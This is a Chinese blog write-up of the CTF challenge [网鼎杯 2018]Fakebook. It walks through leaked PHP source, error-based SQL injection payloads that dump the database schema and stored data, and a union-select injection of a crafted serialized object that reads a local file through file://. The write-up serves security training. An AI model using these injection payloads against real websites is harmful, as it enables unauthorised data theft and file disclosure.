[网鼎杯 2018]Fakebook

该博客详细记录了一次网站安全审计的过程,包括发现并利用PHP类`UserInfo`进行反序列化操作,通过file伪协议读取文件,最终找到flag。作者首先通过SQL注入探测数据库信息,获取了数据库名、数据表及列名,然后揭示了反序列化对象的部分内容,并通过右查询获取完整对象,构造payload以读取敏感文件,成功获取到flag。
摘要由CSDN通过智能技术生成

页面源代码没有什么有用信息

 在发现

访问user.php.bak

 得到:

<?php


class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

看到这里可能会考反序列化,但是暂时没有发现反序列化入口

可以使用file伪协议读取文件

先注册一个用户,然后登录

发现用户名可以点击

GET传参no

尝试注入

发现报错

尝试判断字段数

?no=1 order by 5#

 发现报错

?no=1 union select 1,2,3,4#

可能有过滤,将空格替换为/**/,发现不报错了,但是页面没有回显1,2,3,4

再尝试报错注入

?no=1 and updatexml(1,concat('~',database(),'~'),1)#

得到数据库名为fakebook

查询数据表

?no=1 and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'~'),1) #

数据表为users

查询列

?no=1 and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema=database()),'~'),1) #

得到no,username,passwd,data

查询data列中的数据

?no=1 and updatexml(1,concat('~',(select group_concat(data) from users),'~'),1) #

得到

这是个反序列化之后的对象,没有显示完全

利用右查询

?no=1 and updatexml(1,concat('~',(select right(data,30) from users),'~'),1) #

拼起来得到完整的:O:8:"UserInfo":3:{s:4:"name";s:4:"blog";s:8:"aaa.blog";}

刚好对应前面的UserInfo类

将blog构造为:file:///var/www/html/flag.php

得到:

O:8:"UserInfo":3:{s:4:"name";s:0:"";s:3:"age";i:0;s:4:"blog";s:29:"file:///var/www/html/flag.php";}

然后传参

?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:3:"123";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'#

然后查看页面源代码

点进去得到flag

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值